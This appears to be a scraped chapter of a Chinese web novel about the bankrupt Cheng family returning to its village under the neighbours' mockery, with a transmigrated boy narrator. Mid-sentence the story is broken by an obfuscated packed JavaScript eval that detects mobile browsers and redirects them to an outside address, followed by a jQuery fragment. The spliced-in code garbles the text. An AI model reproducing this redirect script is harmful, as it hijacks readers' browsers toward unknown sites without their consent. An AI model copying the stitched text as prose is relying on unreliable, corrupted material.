大胤朝明帝四十二年秋，程家村。
霜风初起，吹黄了程家村外的老槐树叶子。两辆马车吱呀吱呀地碾过村口坑洼的土路，马车的漆皮剥落，露出里面暗沉的木色。
拉车的瘦马喷着粗重的白气，蹄声疲惫不堪，拖拽着这辆明显超载的车厢。
马车一共两辆，看着空间很大，就是太旧了，没法子，现在正是用钱的时候，那些个外观漂亮，马儿又健壮的马车，价格要比这高上一半不止，林宣按照程万山的要求租的这两辆马车。
许是拉的东西多，车辙印明显深上不少。马车后面还跟着三辆骡车，骡车比马车要便宜很多，上面堆满了东西，不过都用粗布盖着，明眼人即便看不见也猜得出放的都是什么。
马车路过村口，如今秋收刚过，村里的人稍微闲了一些，村口闲坐了几个老汉，看见马车和骡子车过来，纷纷停下了嘴里的旱烟袋，河边洗衣的妇人和哥儿们也直起了腰，连追逐打闹的顽童都停下了脚步。所有人的目光，像被无形的线牵引着，牢牢钉在了那辆略显破败的马车上。
可即便再破败，那也是马车，寻常村里的人家里可是用不起的，家里买的起牛的都算是村里的富户了。
空气稍微安静了一会儿，随即就开始聒噪起来。
“哟！快看！那不是程老爷家的人吗？” 马车简陋，前面的布帘子晃来晃去的，里面坐了什么人，也能看个大概。
王寡妇挎着洗衣盆，声音不高不低，却足以让周围的人都听见，她带着一种刻意压制却又掩饰不住的兴奋劲，“程老爷这是……回村祭祖来了？排场可不如往年喽！”
“祭祖？”旁边磕着瓜子的李二婶嗤笑一声，瓜子皮精准地啐到地上，压低了嗓子，却让周围的耳朵竖得更尖，“你还不知道吧？听我在镇上做伙计的表侄说，程家遭了大祸啦！铺子让人坑了，银钱也没了，连那三进的大宅子都抵了债！一夜之间，啧啧，从天上掉到泥地里喽！”
“真的假的？”有人不信，“程老爷那么大的家业……”
“千真万确！”李二婶的唾沫星子差点飞到旁人脸上，“没看那车破的？连仆从都没了！听说啊，就带回来一堆媳妇儿孩子，还有个半大小子……嘿，你猜是啥？是他那宝贝疙瘩独苗的童养夫郎！啧啧，这都啥时候了，还带着这号人回来，真是拎不清，多张嘴不得多浪费口饭呐，还以为他是从前的员外老爷呢……”
马车里，程愫被颠得七荤八素，马车虽然还算宽大，可因为挤了不少人，他小小的身子这会只能缩在角落。
车帘缝隙透进来的风带着深秋的凉意，也裹挟着外面那些刻意压低、却又无比清晰的议论声。
“童养夫郎”、“破落户”、“媳妇儿孩子一堆”、“累赘”……
这些词像冰冷的针，密密麻麻扎在他十岁孩童的耳朵里，听着格外刺耳，更别提身为他爹的程万山了。
他偷偷掀开一点车帘，看到外面那些村民投来的目光——好奇、探究、幸灾乐祸、毫不掩饰的鄙夷，甚至还有一丝丝……怜悯？这怜悯比鄙夷更让人看着难受。
有人捂住了他的耳朵，他抬头一看，是六姐程婉婷。
“九郎别听，他们都是胡说的。”
程愫装作乖巧的点点头，殊不知这具身体里的灵魂早就换人了。这些流言蜚语对他来说，不算个什么。
他身边，几个姐姐挤在一起，昔日娇艳的脸庞如今布满愁云，充满了憔悴。她们努力低着头，不想去看马车外那些扎人的视线。
几位姨娘更是用帕子捂着脸，压抑的啜泣声在车厢里断断续续。
老爹程万山，那个曾经富态圆润、笑声洪亮的程老爷，此刻像被抽干了所有精气神，瘫坐在主位上，花白的头发凌乱，眼神空洞地望着晃动的车顶，偶尔剧烈地咳嗽几声，咳得整个车厢都在震颤，仿佛要把最后一点尊严也咳出来。
他仿佛苍老了好几岁，人家都是衣锦还乡，他倒好，一大把年纪了，灰溜溜的回来了，从村口过他都抬不起头来。
程愫的目光落在了车厢另一侧角落的林宣身上。
少年依旧安静。一身寻常衣衫，却衬得他那张脸越发白皙，五官精致得不像话，尤其那双深黑色的眼睛，即使在这样压抑狼狈的环境里，也动人心神。
外面的人说的那些话他也都听到了，他微微侧着脸，眉头微蹙，看着窗外缓缓倒退的萧瑟秋景，微弱的阳光偶尔透过缝隙落在他脸上，那过分明艳的轮廓仿佛自带光芒，与这破败的车厢、与车厢里弥漫的绝望气息格格不入。
林宣实际上还是有些担心的，旁人的话虽然难听，但说的也没错，如今的程家不比从前，多他一个人的确是多了个张口吃饭的。
他不甚有安全感，毕竟小少爷才十岁，自己说是他的童养夫郎，实际上他们的感情一般，说是他的书童还差不多。他有些担忧，不是担忧以后要过苦日子，而是担忧程家会不会不要他。
程愫仿佛知道他在想什么，在无人看到的角落悄悄拉住了他的手，他只有十岁，没其他意思，只是单纯的想让他安心。
林宣怔了一下，低头看了看那只手，然后报以微笑。他觉得小少爷好像跟以前不太一样了，也说不上来哪里不一样，只是感觉上有些不同。
马车摇摇晃晃，终于在一处明显荒废许久、杂草丛生的院落前停下。院墙斑驳，门扉歪斜，露出里面几间同样破败的瓦房——这就是程家在程家村的老宅，也是他们如今唯一的容身之所。
车夫费力地放下脚凳，程万山在钱氏的搀扶下，佝偻着腰，颤巍巍地下了车。
他环顾着眼前这荒凉景象，再看看身后跟着的一群惊惶无助的女眷和旁边的宣哥儿，最后目光落在最后一个被抱下马车的、一脸茫然的小儿子程愫身上。
“爹……”程愫下意识地叫了一声。
程万山没应，只是喉咙里发出一声压抑的响动。他抬起沉重的眼皮，望向不远处围拢过来且越来越多的村民。
那些目光，赤裸裸的，带着看戏的兴味，像无数根芒刺扎在他背上。
有些人的就是如此，当大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114162|195901||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家的生活水平差不多的时候，相处和谐友好，一旦谁发达了，便会在恋爱中滋生一种叫做嫉妒的东西。若是发达后再跌回泥里，那便会忍不住看笑话，心里反倒生出一种畅快的感觉。仿佛在说，看吧，他就是没这个命，还不是回来一样过苦日子。
程万山仿佛听到了无声的哄笑，看到了那些藏在眼神背后的指指点点：“瞧啊，程老爷回来了！带着他那一屋子的娇花和拖油瓶，回来啃祖宗留下的这点荒田薄地了！”
程万山猛地挺直了一下腰背，试图找回一点昔日的威严，但瞬间又被更沉重的疲惫压垮。
他重重地叹了口气，那叹息里包含了太多东西，包括对未来的无尽茫然。他哑着嗓子，声音干涩得如同破锣：“到家了……都，都进去吧。”
说完，他几乎是逃也似的，第一个推开了那扇吱呀作响、仿佛随时会散架的院门，躲进了那片荒芜的阴影里。
程愫被姐姐牵着手，懵懵懂懂地跟在后面。他跨过门槛时，清晰地听到身后传来几声再也憋不住的嗤笑，还有一句刻意扬高、生怕他们听不见的议论：
“哟，程老爷这‘家业’，可真是……别开生面啊！往后咱村可有热闹看喽！”
秋风吹过，卷起地上的枯叶，打着旋儿，扑在程愫小小的脚面上，他明明不冷，但此刻心却冰冷刺骨。
他抬头，看着眼前杂草过膝、蛛网遍布的院子，看着那几间还算宽敞的屋子，再回头望了一眼院门外那些指指点点、或同情或嘲弄的面孔。
这一刻，十岁孩童程愫无比清晰地意识到，他梦想中的咸鱼生活，连同程家曾经的富贵荣华，都已经被埋葬在程家那座冰冷的大宅里了。而眼前这片荒芜和四面的冷眼，才是他必须面对的现实。
养家糊口的重担，比他想象的更加沉重，他必须要支楞起来了。
好在家里的青砖瓦房还在，虽然布满了蛛网和灰尘，旧了一些，但只要好好打扫一下就能住。
钱氏是农家出身，从小也是苦过的，很多农活她都会干，这会刚把车夫打发走，就已经开始张罗着大家打扫屋子了。
她拍了拍手上的灰，秋日的阳光落在她未施脂粉却依然清秀的脸上，那双曾经在程家后宅捻惯绣花针的手，此刻叉在腰间，目光扫过布满蛛网和积尘的青砖瓦房，竟透出一股久违的利落劲儿。
“都别愣着了，”她的声音不高，却带着一种踏实的安心，“房子是旧，可好歹是青砖瓦的，比土坯茅草房不知强了多少倍。屋顶我看了，没大漏，门窗也齐全。收拾出来，就是个能安安生生过日子的窝。”
她一边说，一边已经走向堆在院角的杂物，那里有车夫临走前卸下的几把破扫帚、一个掉了一半木齿的耙子，还有几块看不出颜色的旧布。
“杏儿穗儿，你们带着妹妹们，去后院看看有没有井，打些水来。不拘什么盆桶，先找到能盛水的家伙什。”
她又看向几位还有些惶惑的姨娘，“咱们几个，先把这正堂和几间能住的厢房打扫出来。老爷得先有个歇脚的地方。”